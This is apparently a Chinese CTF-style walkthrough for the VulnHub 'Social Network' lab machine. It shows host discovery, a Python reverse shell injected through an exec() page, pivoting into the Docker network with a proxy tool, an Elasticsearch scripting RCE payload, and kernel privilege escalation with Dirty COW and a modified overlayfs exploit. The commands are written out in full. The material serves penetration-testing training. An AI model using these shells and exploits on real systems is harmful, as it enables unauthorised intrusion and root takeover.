目录
介绍
系列:BoredHackerBlog(此系列共4台)
发布日期:2020年03月29日
难度:中级
学习:
- 主机发现
- 端口扫描
- 服务发现
- 路径爬取
- 代码注入
- Shell脚本
- 内网信息收集
- 内网穿透
- 漏洞利用
- 密码破解
- 本地提权
- 攻击代码修改
靶机地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
信息收集
主机发现
netdiscover主机发现
对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。
sudo netdiscover -i eth1 -r 192.168.1.0/24
主机信息探测
nmap -p- 192.168.1.21
nmap -p22,5000 -A 192.168.1.21
根据22端口得知SSH版本,以及这是一台Ubuntu系统。
根据5000端口得知它是基于python开发的一个web服务。
网站探测
访问网站,通过页面上的内容得知这是一个安全的匿名留言网站。
尝试XSS失败
扔了几个XSS,发现没啥用,没办法,那就换目录扫描吧,看能不能找到些有价值的页面。
目录扫描
通过目录扫描发现了一个新的页面,根据页面信息得知,它想让我输入一些东西,然后它会调用exec()
去运行它。前面端口扫描的时候已经知道靶机的web服务是基于python的,那么这就已然明了,python命令执行。
python反弹shell
百度一下python反弹shell的命令,这里有一点坑,网上的命令并非都能用,有的可能如下图:
-
拿了一个没用的shell,输入命令没反应
-
使用Hack-Tools生成命令,出现报错
即便是python,里面也是存在多种命令,测试发现第一个就可以用
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.10",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
这个时候,首先发现得到的shell的行头是:/app #
,查看当前目录的文件时发现了Dockerfile
,不由得让人怀疑自己其实是在docker里面。那么,怎么确认这一点呢?
方法1:如果根目录下存在dockerenv,那么有极大的概率,我们是在docker环境中
方法2:查看ip,如果ip与网站ip不同,那么有极大的概率,我们是在docker环境中
方法3:如果/proc/1/cgroup
文件里面可以看到docker,以及docker的hash值。那么我们一定在docker环境中。
那么接下来的操作,一般来说是需要进行docker逃逸,来拿到其真正宿主的权限。但是在此之前,我想晚点别的花里胡哨的一些东西,看看效果如何。
后渗透
docker网络主机发现
比起docker逃逸,我想看一下docker所在的网络里有没有别的什么机器。由于我暂时没办法借助别的第三方工具,因此只能借助ping
命令实现主机发现。那么这里就简单探测一下,先看看有没有别的主机。
for i in $(seq 1 20); do ping -c 1 172.17.0.$i; done
内网穿透
通过ping
命令,发现内网中存在别的主机,如果我想探测内网的实际情况,包括存活主机有哪些、分别开放了哪些端口,那么就必须穿透内网,才能实现内网探测。内网穿透可选的工具有很多,这里我采用Venom,你可以在它的github主页看到中文使用指南:https://github.com/Dliv3/Venom
啰嗦一句,直接下载解压的话,火绒是秒杀的。
- 判断目标的位数
在docker下的shell中输入:uname -a
,得知目标是64位系统。
- 投递代理工具
首先对工具重命名,方便后期使用。我这里对其重命名为“a”
然后在kali上面使用python开启一个web服务
- 靶机使用wget命令下载代理工具
-
kali开启监听,等待目标的容器系统跟kali建立连接
-
靶机运行代理工具
./a -rhost 192.168.1.10 -rport 9999
- kali连接成功
show
显示网络拓扑
A表示admin节点,数字表示agent节点。下面的拓扑图表示,admin节点下连接了1节点
goto
操作某节点socks
建立到某节点的socks5代理
执行成功socks命令之后,会在admin节点本地开启一个端口,如下图中通过1080端口即可进行socks5代理
配置socks代理
上文中,虽然我们建立到某节点的socks5代理,我们还需要proxychains4来挂载这个代理,才能让nmap等工具可以使用该代理去攻击目标。
配置proxychains4.conf(较新版本的kali已经没有proxychains.conf了,取而代之的是proxychains4.conf)
扫内网
在上文使用ping
命令做了内网主机发现,当时发现172.17.0.1是存活主机。借鉴在vmware虚拟网络中,x.x.x.1往往代表着宿主机,这里先对172.17.0.1进行测试,看看它身上有没有什么有价值的信息。
proxychains4 nmap -Pn -sT 172.17.0.1
proxychains4 nmap -Pn -sT -sV -p22,5000 172.17.0.1
有点意外,它也开放着22和5000端口
给kali的浏览器配置socks5代理,看看这个172.17.0.1的5000端口是什么东东
竟然发现,我之前测试的XSS内容出现在了这里,并且它同样有admin页面
这意味着,172.17.0.1是192.168.1.21的宿主机,只不过172.17.0.1是宿主机面向内网的ip。
如果这让你感到难以理解,可以换个说法,你一定碰到过这中情况,你希望把自己物理机上的某个文件丢到虚拟机中,但是vmware-tools失效了,你无法直接把文件拖动到虚拟机里面。于是你在物理机上使用python或者别的什么工具开启了一个web服务,于然后你在虚拟机就可以下载文件了。但是你在虚拟机的浏览器中输入的,一定是x.x.x.1,因为这个地址才是物理机可以与虚拟机交互的地址。
考虑到当初拿shell的时候,就没看到什么有价值的信息,估计就算拿下172.17.0.1也是如此。在主机发现的时候,172.17.0.2也是存活主机,看看它有没有什么有趣的信息。发现这个ip上跑着Elasticsearch服务,百度一下发现这个服务曾经爆出过RCE漏洞,那我们就试试,看能不能拿下这台主机。
proxychains4 nmap -Pn -sT 172.17.0.2
proxychains4 nmap -Pn -sT -sV -p9200 172.17.0.2
Elasticsearch漏洞利用
搜索漏洞库,发现存在RCE利用文件,也不知道哪个能用,这里先拿第一个试试吧。看了下代码,发现是python2写的:cp /usr/share/exploitdb/exploits/linux/remote/36337.py ./
使用方法如下图
打一下,稀碎,命令执行不了。
不死心的又去msf里面打了一下,还是gg,第二个RCE文件是个html,看着就不好利用。很烦,重启虚拟机,重置网络,再来一遍试试。
排雷
靶机恢复快照,kali换用virtualbox虚拟机,不用vmware里的kali了。重启系统之后,kali的ip变为192.168.69.91;靶机的ip变为192.168.69.112;拿下的docker shell是172.17.0.3。失败让人变得有些烦躁,毕竟一个破站已经搞了快一天了,这里我把fscan投递到docker中了,先扫一遍再说。
根据如下的扫描结果知道,3个存活主机中,只有172.17.0.2的elasticsearch才是突破口
重新内网穿透(socks5代理不用配置了),扫描出来的未授权就是下图,没什么用
再次尝试RCE脚本,成功了。这次依然拿到的是docker的root权限,所不同的是这里发现了一些有趣的文件。
看到这些密文,直接网上找一些在线解密网站,通过https://www.somd5.com/查询到john的密码是:1337hack
到此,web渗透已经结束,下一步就是ssh连接靶机了。
补充错误原因
在这篇文章中知道了答案:https://www.anquanke.com/post/id/204066#h2-6
下面的这一段内容引自作者的笔记:
终于在Github找到失败原因,原因是服务里面没有数据,所以不能通过search来搜索进而执行命令,问题找到,尝试随便插入一条数据
proxychains curl -XPOST 'http://172.17.0.2:9200/twitter/user/yren' -d '{ "name" : "Wu" }'
再次执行Payload
proxychains curl -XPOST 'http://172.17.0.2:9200/_search?pretty' -d '{"script_fields": {"payload": {"script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("whoami").getText()"}}}'
成功执行
SSH登录
经过测试,只有john可以登录。登录的时候注意到靶机的版本很老。
提权
提权1:脏牛提权
登录靶机的时候,注意到它的版本很老。脏牛提权可以试试。
- kali下载exp,编译后并开放web服务(编译时的一些问题不用管)
wget https://www.exploit-db.com/download/40616
mv 40616 cowroot.c
gcc cowroot.c -o cowroot -pthread
python3 -m http.server 80
- 靶机下载并运行exp
wget http://192.168.69.91/cowroot
chmod +x cowroot
./cowroot
不大会后,靶机崩溃了,这个属实有点意外😅
提权2:攻击代码修改
靶机恢复一下快照,继续搞。
搜索利用代码:searchsploit linux 3.13
发现有一大堆利用代码,并且这些利用代码中,内核提权的代码几乎都是C语言写的,经过检测,靶机上面没有gcc来编译利用代码,只能是kali这边编译好之后再投递到靶机上。
由于这些代码没有用过,不知道怎么玩,因此先读一下源代码。
首先,exp介绍了它的使用
在往下面看看,发现了一些问题。虽然我不了解C语言,但是显而易见的可以知道第143行代码尝试使用命令调用gcc,去把/tmp/ofs-lib.c
编译成/tmp/ofs-lib.so
。因此,我应该准备好编译好的 exp 和 ofs-lib.so 才能让靶机真正运行起来exp。
- 删除上图红框中的代码,然后保存。
- 经过搜索,发现kali里面有ofs-lib.so
- 编译exp(出现的报错可忽略),然后开启web服务投递到靶机上
locate ofs-lib.so
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./
gcc -o exp 37292.c
python3 -m http.server 80
靶机下载下来exp和ofs-lib.so,为了保证攻击成功,这里把下载下来的文件移动到tmp
目录下(因为删除的那段代码里,本来就是要把ofs-lib.so生成在tmp目录下),最后顺利的提权成功。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134233.html